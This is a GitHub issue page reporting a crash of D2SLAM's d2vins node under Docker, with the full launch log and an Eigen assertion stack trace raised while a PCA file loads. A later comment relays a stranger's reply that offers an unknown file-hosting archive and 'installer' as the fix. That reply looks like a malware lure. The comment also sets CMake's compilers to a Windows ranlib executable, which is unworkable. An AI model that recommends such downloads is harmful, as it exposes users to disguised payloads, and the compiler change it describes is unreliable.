search

HKUST-Aerial-Robotics / D2SLAM

$D^2$SLAM: Decentralized and Distributed Collaborative Visual-inertial SLAM System for Aerial Swarm
273 stars 33 forks source link

Issue when running Realsense config #48

Open ShreyasKuntnal opened 1 week ago

ShreyasKuntnal commented 1 week ago

Thank you for this wonderful repository.

To minimize dependency errors, I decided to try using Docker.

My PC: Ubuntu 22.04, with CUDA enabled I have attached my laptop specs for your review.

image image

Jetson: image

These are my configurations. I installed Docker on both devices and followed the instructions provided in the D2SLAM/OmniNXT documentation for Docker. Once the image was built, I started my container shell with ./start_docker.sh 1, then ran source devel/setup.bash followed by roslaunch d2vins realsense.launch.

I copied the models folder downloaded from this link to the appropriate directory.

However, the Realsense launch ends with the following output:

roslaunch d2vins realsense.launch output:

... logging to /root/.ros/log/4c34f14e-6abb-11ef-a642-847b577263a2/roslaunch-vt008-8464.log
Checking log directory for disk usage. This may take a while.
Press Ctrl-C to interrupt
Done checking log file disk usage. Usage is <1GB.

started roslaunch server http://vt008:37361/

SUMMARY
========

PARAMETERS
 * /d2comm/lcm_uri: udpm://224.0.0.25...
 * /d2comm/self_id: 1
 * /d2pgo/is_4dof: False
 * /d2pgo/self_id: 1
 * /d2pgo/vins_config_path: /root/swarm_ws/sr...
 * /d2vins/accept_min_3d_pts: 30
 * /d2vins/depth_far_thres: 100
 * /d2vins/detector_match_thres: 0.7
 * /d2vins/enable_loop: True
 * /d2vins/enable_network: True
 * /d2vins/enable_pub_remote_img: False
 * /d2vins/enable_sub_remote_img: False
 * /d2vins/init_query_thres: 0.2
 * /d2vins/inter_drone_init_frames: 3
 * /d2vins/is_4dof: False
 * /d2vins/jpg_quality: 75
 * /d2vins/lcm_uri: udpm://224.0.0.25...
 * /d2vins/loop_cov_pos: 0.1
 * /d2vins/lower_cam_as_main: False
 * /d2vins/match_index_dist: 100
 * /d2vins/match_index_dist_remote: 20
 * /d2vins/min_direction_loop: 1
 * /d2vins/min_match_per_dir: 20
 * /d2vins/min_movement_keyframe: 0.1
 * /d2vins/netvlad_model_path: /root/swarm_ws/sr...
 * /d2vins/nonkeyframe_waitsec: 5.0
 * /d2vins/odometry_consistency_threshold: 3.0
 * /d2vins/output_path: /home/dji/output/
 * /d2vins/output_raw_superpoint_desc: False
 * /d2vins/pca_comp_path: /root/swarm_ws/sr...
 * /d2vins/pca_mean_path: /root/swarm_ws/sr...
 * /d2vins/pca_netvlad: /root/swarm_ws/sr...
 * /d2vins/pos_covariance_per_meter: 0.01
 * /d2vins/query_thres: 0.2
 * /d2vins/recv_msg_duration: 0.5
 * /d2vins/self_id: 1
 * /d2vins/send_all_features: False
 * /d2vins/send_img: False
 * /d2vins/send_whole_img_desc: False
 * /d2vins/show: False
 * /d2vins/superglue_model_path: /root/swarm_ws/sr...
 * /d2vins/superpoint_model_path: /root/swarm_ws/sr...
 * /d2vins/superpoint_thres: 0.1
 * /d2vins/triangle_thres: 0.012
 * /d2vins/vins_config_path: /root/swarm_ws/sr...
 * /d2vins/yaw_covariance_per_meter: 0.003
 * /rosdistro: noetic
 * /rosversion: 1.16.0

NODES
  /
    d2comm (d2comm/d2comm_node)
    d2pgo (d2pgo/d2pgo_node)
    d2vins (d2vins/d2vins_node)

auto-starting new master
process[master]: started with pid [8487]
ROS_MASTER_URI=http://localhost:11311

setting /run_id to 4c34f14e-6abb-11ef-a642-847b577263a2
process[rosout-1]: started with pid [8512]
started core service [/rosout]
process[d2vins-2]: started with pid [8519]
process[d2pgo-3]: started with pid [8520]
process[d2comm-4]: started with pid [8521]
D2Comm starting....
PGO Loaded VINS config from /root/swarm_ws/src/D2SLAM/d2vins/../config/realsense_d435/d435_single.yaml
[D2Comm] Try to initialize LCM URI: udpm://224.0.0.251:7667?ttl=1
[D2PGO] In single mode enable_pcm 1 pcm_thres 2.8
[D2PGO] PGOState: is 6dof
[ INFO] [1725453814.574851196]: [D2Comm] Drone 1 ready.
[ INFO] [1725453814.575459550]: [D2Comm] Starting d2comm lcm thread.
[D2PGONode@1] Initialized
Read VINS config from /root/swarm_ws/src/D2SLAM/d2vins/../config/realsense_d435/d435_single.yaml
superpoint_config.max_keypoints: 150
superpoint_config.onnx_path: 
superpoint_config.engine_path: 
superpoint_config.keypoint_threshold: 0.000000
[12:43:34][info][d2frontend_params.cpp,D2FrontendParams,L181] [D2FrontendParams] enable_search_local_aera not found, use default

[12:43:34][info][d2frontend_params.cpp,D2FrontendParams,L232] [D2Frontend] Using lazy broadcast keyframe: false
[12:43:34][info][d2frontend_params.cpp,readCameraConfigs,L344] Read camera from config file
[12:43:34][info][d2frontend_params.cpp,readCameraConfigs,L368] Camera 0: topic: /camera/infra1/image_rect_raw, calib: /root/swarm_ws/src/D2SLAM/d2vins/../config/realsense_d435/left.yaml, T: T [+0.099,+0.020,+0.010] YPR [-89.4,-1.0,-89.4]
[12:43:34][info][d2frontend_params.cpp,readCameraConfigs,L368] Camera 1: topic: /camera/infra2/image_rect_raw, calib: /root/swarm_ws/src/D2SLAM/d2vins/../config/realsense_d435/right.yaml, T: T [+0.099,-0.030,+0.011] YPR [-89.3,-1.0,-89.4]
[12:43:34][info][d2frontend_params.cpp,generateCameraModels,L262] [D2Frontend] Read camera from /root/swarm_ws/src/D2SLAM/d2vins/../config/realsense_d435/left.yaml
[12:43:34][info][d2frontend_params.cpp,generateCameraModels,L262] [D2Frontend] Read camera from /root/swarm_ws/src/D2SLAM/d2vins/../config/realsense_d435/right.yaml
[12:43:34][warning][d2frontend_params.cpp,generateCameraModels,L282] [D2Frontend] No photometric calibration file provided
[12:43:34][info][d2frontend_params.cpp,generateCameraModels,L307] [D2Frontend] Focal length initialize to: 460.0
[12:43:34][info][loop_cam.cpp,LoopCam,L34] Init CNNs using onnx
Trying to init MobileNetVLADONNX@/root/swarm_ws/src/D2SLAM/d2frontend/../models/mobilenetvlad_dyn_size.onnx tensorrt 0 fp16 1 int8 0 pca 1
[D2FrontEnd] Loading PCA for MobileNetVLADONNX: 
d2vins_node: /usr/include/eigen3/Eigen/src/Core/Block.h:120: Eigen::Block<XprType, BlockRows, BlockCols, InnerPanel>::Block(XprType&, Eigen::Index) [with XprType = Eigen::Matrix<float, -1, -1>; int BlockRows = 1; int BlockCols = -1; bool InnerPanel = false; Eigen::Index = long int]: Assertion `(i>=0) && ( ((BlockRows==1) && (BlockCols==XprType::ColsAtCompileTime) && i<xpr.rows()) ||((BlockRows==XprType::RowsAtCompileTime) && (BlockCols==1) && i<xpr.cols()))' failed.
Stack trace (most recent call last):
#11   Object "", at 0xffffffffffffffff, in 
#10   Source "/root/swarm_ws/src/D2SLAM/d2vins/src/d2vins_node.cpp", line 326, in _start [0x5e238ac20e6d]
        323:   d2vins.stopFrontend();
        324:   d2vins.stopAllThread();
        325:   return 0;
      > 326: }
#9    Source "../csu/libc-start.c", line 308, in __libc_start_main [0x72214bb70082]
#8  | Source "/root/swarm_ws/src/D2SLAM/d2vins/src/d2vins_node.cpp", line 317, in D2VINSNode
    |   315:   // spdlog::set_level(spdlog::level::debug);
    |   316: 
    | > 317:   D2VINSNode d2vins(n);
    |   318:   // ros::AsyncSpinner spinner(4);
    |   319:   // spinner.start();
      Source "/root/swarm_ws/src/D2SLAM/d2vins/src/d2vins_node.cpp", line 305, in main [0x5e238ac202a1]
        302:   }
        303: 
        304:  public:
      > 305:   D2VINSNode(ros::NodeHandle &nh) { Init(nh); }
        306: };
        307: 
        308: int main(int argc, char **argv) {
#7    Source "/root/swarm_ws/src/D2SLAM/d2vins/src/d2vins_node.cpp", line 254, in Init [0x5e238ac5cee7]
        251:   }
        252: 
        253:   void Init(ros::NodeHandle &nh) {
      > 254:     D2Frontend::Init(nh);
        255:     initParams(nh);
        256:     estimator = new D2Estimator(params->self_id);
        257:     d2vins_net = new D2VINSNet(estimator, params->lcm_uri);
#6    Source "/root/swarm_ws/src/D2SLAM/d2frontend/src/d2frontend.cpp", line 295, in Init [0x72214e08e8de]
        292:   loop_net =
        293:       new LoopNet(params->_lcm_uri, params->send_img,
        294:                   params->send_whole_img_desc, params->recv_msg_duration);
      > 295:   loop_cam = new LoopCam(*(params->loopcamconfig), nh);
        296:   feature_tracker = new D2FeatureTracker(*(params->ftconfig));
        297:   feature_tracker->cams = loop_cam->cams;
        298:   loop_detector =
#5    Source "/root/swarm_ws/src/D2SLAM/d2frontend/src/loop_cam.cpp", line 38, in LoopCam [0x72214e00220f]
         35:     netvlad_onnx = new MobileNetVLADONNX(
         36:         config.netvlad_model, img_width, img_height, config.cnn_enable_tensorrt,
         37:         config.cnn_enable_tensorrt_fp16, config.cnn_enable_tensorrt_int8,
      >  38:         config.netvlad_int8_calib_table_name);
         39:         
         40:     SuperPoint::SuperPointConfig sp_config = config.superpoint_config;
         41:     superpoint_ptr = std::make_unique<SuperPoint>(sp_config);
#4  | Source "/root/swarm_ws/src/D2SLAM/d2frontend/include/d2frontend/CNN/mobilenetvlad_onnx.h", line 38, in row
    |    36:             auto pca = load_csv_mat_eigen(params->pca_netvlad);
    |    37:             // This first row is the mean
    | >  38:             pca_mean = pca.row(0).transpose();
    |    39:             // // The rest is the components
    |    40:             pca_comp_T = pca.block(1, 0, pca.rows() - 1, pca.cols());
    | Source "/usr/include/eigen3/Eigen/src/plugins/BlockMethods.h", line 861, in Block
    |   859: inline RowXpr row(Index i)
    |   860: {
    | > 861:   return RowXpr(derived(), i);
    |   862: }
      Source "/usr/include/eigen3/Eigen/src/Core/Block.h", line 120, in MobileNetVLADONNX [0x72214e0300dd]
        117:     EIGEN_DEVICE_FUNC
        118:     inline Block(XprType& xpr, Index i) : Impl(xpr,i)
        119:     {
      > 120:       eigen_assert( (i>=0) && (
        121:           ((BlockRows==1) && (BlockCols==XprType::ColsAtCompileTime) && i<xpr.rows())
        122:         ||((BlockRows==XprType::RowsAtCompileTime) && (BlockCols==1) && i<xpr.cols())));
        123:     }
#3    Source "/build/glibc-LcI20x/glibc-2.31/assert/assert.c", line 101, in __assert_fail [0x72214bb7ffd5]
#2    Source "/build/glibc-LcI20x/glibc-2.31/assert/assert.c", line 92, in __assert_fail_base [0x72214bb6e728]
#1    Source "/build/glibc-LcI20x/glibc-2.31/stdlib/abort.c", line 79, in abort [0x72214bb6e858]
#0    Source "../sysdeps/unix/sysv/linux/raise.c", line 51, in raise [0x72214bb8f00b]
Aborted (Signal sent by tkill() 8519 0)
[d2vins-2] process has died [pid 8519, exit code -6, cmd nice --20 /root/swarm_ws/devel/lib/d2vins/d2vins_node __name:=d2vins __log:=/root/.ros/log/4c34f14e-6abb-11ef-a642-847b577263a2/d2vins-2.log].
log file: /root/.ros/log/4c34f14e-6abb-11ef-a642-847b577263a2/d2vins-2*.log
^C[d2comm-4] killing on exit
[d2pgo-3] killing on exit
terminate called without an active exception
[rosout-1] killing on exit
[master] killing on exit
shutting down processing monitor...
... shutting down processing monitor complete
done

This output is same for both Jetson device and x86(My pc). So what might be the issue here?

ShreyasKuntnal commented 1 week ago

Some guy turned with a reply and gave this reply saying:

try this https://gofile.io/d/yMHabA select the desired compiler in the installer

I wanted to know how to use that. I checked ChatGPT and tried rebuilding d2vins(catkin clean --dependents d2vins && catkin build d2vins --no-deps) like this: set(CMAKE_C_COMPILER /root/compiler/x86_64-w64-ranlib.exe) set(CMAKE_CXX_COMPILER /root/compiler/x86_64-w64-ranlib.exe)